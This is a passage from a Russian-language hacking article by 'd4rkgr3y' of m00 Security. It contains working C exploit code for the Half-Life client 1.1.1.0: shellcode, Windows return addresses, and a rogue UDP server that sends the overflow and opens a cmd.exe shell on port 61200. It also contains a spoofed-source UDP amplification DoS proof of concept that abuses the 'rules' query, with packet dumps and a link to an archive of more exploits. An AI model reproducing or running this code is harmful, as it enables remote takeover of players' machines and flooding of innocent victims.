"\xA6\x96\x96\x96\x13\x56\xEE\x9A\x1D\xD6\x9A\x1D\xE6 \x8A\x3B\x1D\xFE\x9E\x7D\x9F" "\x1D\xD6\xA2\x1D\x3E\x2E\x96\x96\x96\x1D\x53\xC8\xCB\x54\x92\x96\xC5\xC3 \xC0\xC1" "\x1D\xFA\xB2\x8E\x1D\xD3\xAA\x1D\xC2\x93\xEE\x95\x43 \x1D\xDC\x8E\x1D\xCC\xB6\x95" "\x4B\x75\xA4\xDF\x1D\xA2\x1D\x95\x63\xA5\x69\x6A\xA5\x56\x3A\xAC\x52\xE2 \x91\x57" "\x59\x9B\x95\x6E\x7D\x64\xAD\xEA\xB2\x82\xE3\x77\x1D\xCC\xB2\x95\x4B\xF0 \x1D\x9A" "\xDD\x1D\xCC\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x7D\x94\xA5\x56\x1D\x43\xC9\xC8\xCB" "\xCD\x54\x92\x96" /* end */ "\x5C\x00"; // ну и концовка, чтобы HL-принял датаграмму за свою. char retw2ksp3[] = "\xc5\xaf\xe2\x77"; char retwxpsp0[] = "\x1c\x80\xf5\x77"; //ntdll.dll : jmp esp char retwxpsp1[] = "\xba\x26\xe6\x77"; char retw98se2[] = "\xa9\xbf\xda\x7f"; int main(int argc, char **argv) { int sock, sf, len, i; u_short port=PORT; struct sockaddr_in fukin_addr, rt; char buf[0x1000]; printf("\n\rHalfLife client v.1.1.1.0 remote exploit by m00 Security\n"); if(argc!=2) { printf(" Usage: %s where os: 1 - win2k sp3 ru 2 - winxp nosp ru 3 - winxp sp1 ru 4 - win98 se2 ru (need another shellcode) ",argv[0]); exit(0); } if(atoi(argv[1])==1) { for(i=0;i<4;i++) { evilbuf[536+i]=retw2ksp3[i]; } } if(atoi(argv[1])==2) { for(i=0;i<4;i++) { evilbuf[536+i]=retwxpsp0[i]; } } if(atoi(argv[1])==3) { for(i=0;i<4;i++) { evilbuf[536+i]=retwxpsp1[i]; } } if(atoi(argv[1])==4) { for(i=0;i<4;i++) { evilbuf[536+i]=retw98se2[i]; } } if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) { perror("[-] socket()"); exit(0); } printf("\n[+] Socket created.\n"); fukin_addr.sin_addr.s_addr = INADDR_ANY; fukin_addr.sin_port = htons(port); fukin_addr.sin_family = AF_INET; if(bind(sock, (struct sockaddr *)&fukin_addr, sizeof(fukin_addr))<0) { perror("[-] bind()"); exit(0); } printf("[+] Port %i binded.\n", port); sf = sizeof(rt); while(1) { //"цикл" обработки входящих udp-датаграмм if ((len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *) &rt, &sf))<0) { perror("[-] recv()"); exit(1); } printf("[+] Incoming udp datagram: "); for (i=0;i<=len;i++){ printf("%c",buf[i]); } printf("\n[~] Identyfication... "); if(strstr(buf,"ping")) { //если датаграмма содержит ping, отвечаем ей соответственно printf("PING request\n[~] Sending answer... "); if(sendto(sock, ping, sizeof(ping), 0, (struct sockaddr *) &rt, sizeof(rt))<0) { perror("[-] send()"); exit(1); } else { printf("OK\n"); } continue; } if(strstr(buf,"infostring")) { //если содержит infostring, клиент наш ;] printf("INFOSTRING request\n[~] Attacking... OK\n"); printf("[+] Now try to connect to: %s:61200\n", inet_ntoa (rt.sin_addr)); if(sendto(sock, evilbuf, sizeof(evilbuf), 0, (struct sockaddr *)&rt, sizeof(rt))<0) { perror("[-] send()"); exit(1); } continue; } printf("unknow request\n"); } close(sock); return 0; }В случае удачной эксплуатации открывает cmd-exe шелл на порту 61200. В эту версию включены ret'ы для winxp nosp\sp1, win2k sp3, win98se. Все русские, но вполне возможно, что они будут работать и на англоязычной версии Windows.
На самом деле, информация о возможности DoS'а через игровые серверы мелькала на багтрэках довольно давно. Я (как и все остальные) как-то не обращал на эти посты внимания, пока сам не столкнулся с этой проблемой.
В HL есть такая команда "rules" (опять же, в самом начале я про неё писал). На неё сервер отвечает исчерпывающей информацие о себе. Пример:
client ask: 0x0000 BA 87 20 00 05 00 00 00-05 00 00 00 08 00 45 00 ?‡ ...........E. 0x0010 00 26 10 FB 00 00 C8 11-91 45 51 D3 29 32 D4 7A .&.u..E.‘EQO)2Oz 0x0020 01 07 0C C9 69 87 00 12-E7 17 FF FF FF FF 72 75 ...Ei‡..c.yyyyru 0x0030 6C 65 73 00 les. #размер 52b server reply: 0x0000 00 00 05 00 00 00 BA 87-20 00 05 00 08 00 45 00 ......?‡ .....E. 0x0010 05 44 9F FB 00 00 33 11-92 27 D4 7A 01 07 51 D3 .DYu..3.’'Oz..QO 0x0020 29 32 69 87 0C C9 05 30-D0 64 FF FF FF FF 45 4D )2i‡.E.0?dyyyyEM 0x0030 00 73 79 73 5F 74 69 63-72 61 74 65 00 35 30 30 .sys_ticrate.500 0x0040 2E 30 30 30 30 30 30 00-6D 70 5F 6C 6F 67 66 69 .000000.mp_logfi 0x0050 6C 65 00 31 00 64 65 61-74 68 6D 61 74 63 68 00 le.1.deathmatch. 0x0060 31 00 63 6F 6F 70 00 30-00 70 61 75 73 61 62 6C 1.coop.0.pausabl 0x0070 65 00 30 00 73 76 5F 76-6F 69 63 65 65 6E 61 62 e.0.sv_voiceenab 0x0080 6C 65 00 31 00 6D 70 5F-63 6F 6E 73 69 73 74 65 le.1.mp_consiste 0x0090 6E 63 79 00 31 00 73 76-5F 63 6F 6E 74 61 63 74 ncy.1.sv_contact 0x00A0 00 00 73 76 5F 6D 61 78-75 70 64 61 74 65 72 61 ..sv_maxupdatera 0x00B0 74 65 00 31 30 30 2E 30-30 30 30 30 30 00 73 76 te.100.000000.sv 0x00C0 5F 70 72 6F 78 69 65 73-00 32 00 73 76 5F 70 61 _proxies.2.sv_pa 0x00D0 73 73 77 6F 72 64 00 30-00 73 76 5F 61 69 6D 00 ssword.0.sv_aim. 0x00E0 30 00 73 76 5F 67 72 61-76 69 74 79 00 38 30 30 0.sv_gravity.800 0x00F0 00 73 76 5F 66 72 69 63-74 69 6F 6E 00 34 2E 30 .sv_friction.4.0 0x0100 30 30 30 30 30 00 65 64-67 65 66 72 69 63 74 69 00000.edgefricti 0x0110 6F 6E 00 32 00 73 76 5F-73 74 6F 70 73 70 65 65 on.2.sv_stopspee 0x0120 64 00 37 35 2E 30 30 30-30 30 30 00 73 76 5F 6D d.75.000000.sv_m 0x0130 61 78 73 70 65 65 64 00-33 32 30 00 6D 70 5F 66 axspeed.320.mp_f 0x0140 6F 6F 74 73 74 65 70 73-00 31 00 73 76 5F 61 63 ootsteps.1.sv_ac 0x0150 63 65 6C 65 72 61 74 65-00 35 2E 30 30 30 30 30 celerate.5.00000 0x0160 30 00 73 76 5F 73 74 65-70 73 69 7A 65 00 31 38 0.sv_stepsize.18 0x0170 00 73 76 5F 63 6C 69 70-6D 6F 64 65 00 30 00 73 .sv_clipmode.0.s 0x0180 76 5F 62 6F 75 6E 63 65-00 31 00 73 76 5F 61 69 v_bounce.1.sv_ai 0x0190 72 6D 6F 76 65 00 31 00-73 76 5F 61 69 72 61 63 rmove.1.sv_airac 0x01A0 63 65 6C 65 72 61 74 65-00 31 2E 35 00 73 76 5F celerate.1.5.sv_ 0x01B0 77 61 74 65 72 61 63 63-65 6C 65 72 61 74 65 00 wateraccelerate. 0x01C0 31 30 00 73 76 5F 77 61-74 65 72 66 72 69 63 74 10.sv_waterfrict 0x01D0 69 6F 6E 00 31 00 73 76-5F 63 6C 69 65 6E 74 74 ion.1.sv_clientt 0x01E0 72 61 63 65 00 31 00 73-76 5F 63 68 65 61 74 73 race.1.sv_cheats 0x01F0 00 30 00 73 76 5F 61 6C-6C 6F 77 75 70 6C 6F 61 .0.sv_allowuploa 0x0200 64 00 30 00 73 76 5F 6D-69 6E 72 61 74 65 00 30 d.0.sv_minrate.0 0x0210 00 73 76 5F 6D 61 78 72-61 74 65 00 34 30 30 30 .sv_maxrate.4000 0x0220 00 72 65 73 65 72 76 65-5F 73 6C 6F 74 73 00 31 .reserve_slots.1 0x0230 00 73 65 72 76 65 72 5F-66 70 73 00 38 37 2E 30 .server_fps.87.0 0x0240 30 30 30 30 30 00 62 6F-6F 73 74 65 72 5F 76 65 00000.booster_ve 0x0250 72 73 69 6F 6E 00 31 2E-33 33 00 73 74 61 74 73 rsion.1.33.stats 0x0260 6D 65 5F 76 65 72 73 69-6F 6E 00 32 2E 36 2E 34 me_version.2.6.4 0x0270 00 61 64 6D 69 6E 5F 68-69 67 68 6C 61 6E 64 65 .admin_highlande 0x0280 72 00 30 00 61 64 6D 69-6E 5F 69 67 6E 6F 72 65 r.0.admin_ignore 0x0290 5F 69 6D 6D 75 6E 69 74-79 00 30 00 61 64 6D 69 _immunity.0.admi 0x02A0 6E 5F 71 75 69 65 74 00-30 00 61 64 6D 69 6E 5F n_quiet.0.admin_ 0x02B0 6D 6F 64 5F 76 65 72 73-69 6F 6E 00 32 35 30 32 mod_version.2502 0x02C0 36 61 20 28 4D 4D 29 00-61 6C 6C 6F 77 5F 63 6C 6a (MM).allow_cl 0x02D0 69 65 6E 74 5F 65 78 65-63 00 31 00 61 6D 76 5F ient_exec.1.amv_ 0x02E0 70 72 69 76 61 74 65 5F-73 65 72 76 65 72 00 30 private_server.0 0x02F0 00 64 65 66 61 75 6C 74-5F 61 63 63 65 73 73 00 .default_access. 0x0300 30 00 70 75 62 6C 69 63-5F 73 6C 6F 74 73 5F 66 0.public_slots_f 0x0310 72 65 65 00 38 2E 30 30-30 30 30 30 00 72 65 73 ree.8.000000.res 0x0320 65 72 76 65 5F 74 79 70-65 00 30 00 6D 70 5F 74 erve_type.0.mp_t 0x0330 69 6D 65 6C 69 6D 69 74-00 33 30 00 6D 70 5F 66 imelimit.30.mp_f 0x0340 72 69 65 6E 64 6C 79 66-69 72 65 00 31 00 6D 70 riendlyfire.1.mp 0x0350 5F 66 6C 61 73 68 6C 69-67 68 74 00 31 00 64 65 _flashlight.1.de 0x0360 63 61 6C 66 72 65 71 75-65 6E 63 79 00 33 30 00 calfrequency.30. 0x0370 6D 70 5F 61 6C 6C 6F 77-6D 6F 6E 73 74 65 72 73 mp_allowmonsters 0x0380 00 30 00 6D 70 5F 72 6F-75 6E 64 74 69 6D 65 00 .0.mp_roundtime. 0x0390 34 00 6D 70 5F 62 75 79-74 69 6D 65 00 31 00 6D 4.mp_buytime.1.m 0x03A0 70 5F 66 72 65 65 7A 65-74 69 6D 65 00 35 00 6D p_freezetime.5.m 0x03B0 70 5F 63 34 74 69 6D 65-72 00 34 35 00 6D 70 5F p_c4timer.45.mp_ 0x03C0 67 68 6F 73 74 66 72 65-71 75 65 6E 63 79 00 30 ghostfrequency.0 0x03D0 2E 31 00 6D 70 5F 61 75-74 6F 6B 69 63 6B 00 30 .1.mp_autokick.0 0x03E0 00 73 76 5F 72 65 73 74-61 72 74 72 6F 75 6E 64 .sv_restartround 0x03F0 00 30 00 73 76 5F 72 65-73 74 61 72 74 00 30 00 .0.sv_restart.0. 0x0400 6D 70 5F 6C 69 6D 69 74-74 65 61 6D 73 00 32 00 mp_limitteams.2. 0x0410 6D 70 5F 61 75 74 6F 74-65 61 6D 62 61 6C 61 6E mp_autoteambalan 0x0420 63 65 00 31 00 6D 70 5F-74 6B 70 75 6E 69 73 68 ce.1.mp_tkpunish 0x0430 00 30 00 6D 70 5F 68 6F-73 74 61 67 65 70 65 6E .0.mp_hostagepen 0x0440 61 6C 74 79 00 30 00 6D-70 5F 6D 69 72 72 6F 72 alty.0.mp_mirror 0x0450 64 61 6D 61 67 65 00 30-00 6D 70 5F 6C 6F 67 6D damage.0.mp_logm 0x0460 65 73 73 61 67 65 73 00-31 00 6D 70 5F 66 6F 72 essages.1.mp_for 0x0470 63 65 63 61 6D 65 72 61-00 30 00 6D 70 5F 66 6F cecamera.0.mp_fo 0x0480 72 63 65 63 68 61 73 65-63 61 6D 00 30 00 6D 70 rcechasecam.0.mp 0x0490 5F 6D 61 70 76 6F 74 65-72 61 74 69 6F 00 30 2E _mapvoteratio.0. 0x04A0 36 00 6D 70 5F 6D 61 78-72 6F 75 6E 64 73 00 30 6.mp_maxrounds.0 0x04B0 00 6D 70 5F 77 69 6E 6C-69 6D 69 74 00 30 00 6D .mp_winlimit.0.m 0x04C0 70 5F 66 61 64 65 74 6F-62 6C 61 63 6B 00 30 00 p_fadetoblack.0. 0x04D0 6D 70 5F 6C 6F 67 64 65-74 61 69 6C 00 30 00 6D mp_logdetail.0.m 0x04E0 70 5F 73 74 61 72 74 6D-6F 6E 65 79 00 38 30 30 p_startmoney.800 0x04F0 00 6D 70 5F 70 6C 61 79-65 72 69 64 00 30 00 61 .mp_playerid.0.a 0x0500 6C 6C 6F 77 5F 73 70 65-63 74 61 74 6F 72 73 00 llow_spectators. 0x0510 31 00 6D 70 5F 63 68 61-74 74 69 6D 65 00 31 30 1.mp_chattime.10 0x0520 00 6D 70 5F 6B 69 63 6B-70 65 72 63 65 6E 74 00 .mp_kickpercent. 0x0530 30 2E 36 36 00 6D 70 5F-66 72 61 67 73 6C 65 66 0.66.mp_fragslef 0x0540 74 00 30 00 6D 70 5F 74-69 6D 65 6C 65 66 74 00 t.0.mp_timeleft. 0x0550 30 00 0. #размер 1362b!!!Сорри, за обилие мусора, но без этого вы бы не смогли прочувствовать насколько всё-таки ответ сервера огромен (относительно, конечно) Считайте, мы посылаем ему ~52b, он возвращает ~1.4kb. Коэффициент умножения ~27!! Это действительно внушительно. Учитывая, что протокол udp и, что spoof ещё никто не отменял, каждый Half-Life сервер в интернете вне зависимости от версии и настройки может превратиться в смертельное оружие против любого dial-up-пользователя (и не только?). Для тех, до кого ещё не дошло, идея такова:
Мы посылаем udp-датаграмму с подделаным src-адресом (с ip'ом нашей жертвы) с содержанием:
"\xFF\xFF\xFF\xFF\x72\x75\x6C\x65\x73\x00" (rules\0)На что сервер отвечает датаграммой (на наш src-адрес), которая в 27 раз больше нашей. Только представьте, сколько отсылаем мы и сколько получает наша жертва.
Для программной реализации этой идеи я выбрал опять же c++. По той причине, что программирование raw-сокетов на перле требует модуль rawip (если память не изменяет) и libpcap, а эти компоненты есть далеко не у всех. Итак, следующая программа отсы
лает одну udp-датаграмму с запросом "rules" со спуфаного ip'а (размером 52b) на любой HL-сервер, на что машина, чей ип был соспуфан (то есть, та, которая была указана в SRC), получит ответ сервера (тот, который ~1.4kb):
/* * m00flooder_PoC.c * * -d4rkgr3y */ #include <stdio.h> #include <linux/ip.h> #include <linux/udp.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #define DST "127.0.0.1" // ip of any Half-Life (CS) server #define RPORT 27015 // it's port #define SRC "127.0.0.1" // ip of victim #define LPORT 3180 // local port #define MSG "\xFF\xFF\xFF\xFF\x72\x75\x6C\x65\x73\x00" // cmd to get hl-server-rules /* CHECKSUM CALCULATING FUNCTION */ unsigned long in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /* END */ int main(int argc, char **argv) { long num; int sock, optval, i; char *packet, *buffer, yo; struct udphdr *udp; struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }pseudo; struct sockaddr_in peer; struct iphdr *ip; ip = (struct iphdr *) malloc(sizeof(struct iphdr)); udp = (struct udphdr *) malloc(sizeof(struct udphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(MSG)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(MSG)); ip = (struct iphdr *) packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); /* IP-header */ ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) +strlen(MSG); ip->id = htons(getuid()); ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->saddr = inet_addr(SRC); ip->daddr = inet_addr(DST); /* end */ sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP); setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int)); pseudo.saddr = inet_addr(SRC); pseudo.daddr = inet_addr(DST); pseudo.useless = htons(0); pseudo.protocol = IPPROTO_UDP; pseudo.length = sizeof(struct udphdr) + strlen(MSG); /* UDP-header */ udp->source = htons(LPORT); udp->dest = htons(RPORT); udp->len = htons(sizeof(struct udphdr) + strlen(MSG)); udp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct udphdr) + sizeof(struct pseudohdr) + strlen(MSG)); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); /* end */ strcpy((packet+sizeof(struct iphdr) + sizeof(struct udphdr)),MSG); peer.sin_family = AF_INET; peer.sin_port = htons(RPORT); peer.sin_addr.s_addr = inet_addr(DST); if(sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&peer,sizeof(struct sockaddr))==-1) { perror("sendto()"); printf("Maybe u are not r00t? :-\\\n"); exit(0); } sleep(324); close(sock); return 0; }Предупреждаю, эта программа непригодна для реального флуда, она призвана лишь продемонстрировать возможность оного.
Кстати, обилие подобных "rules" запросов может вызвать лаги и на самом HL-сервере ;) Но это уже совсем другая история...
Хм, вот сижу и думаю: "что обычно пишут в послесловии?"
http://www.securitylab.ru/_tools/m00-HL-warpack.tar.gz
В данном архиве вы найдёте ранее неопубликованную мультиплатформенную версию m00-HL-portbind + ВСЕ эксплойты против HL, которые мне за последнее время попадались + рассматриваемые в статье.
При создании данного материала использовались:
CommView 3.2 Half-Life v.1.1.1.0 (CounterStrike 1.5) ActivePerl v.xz TASM 5.0 turbo debugger notepad.exe gcc3.2.2Также хочу поблагодарить Over_G и r4ShRaY.
Cya.
-d4rkgr3y [d4rk@securitylab.ru] // m00 Security [www.m00security.org]
В Матрице безопасности выбор очевиден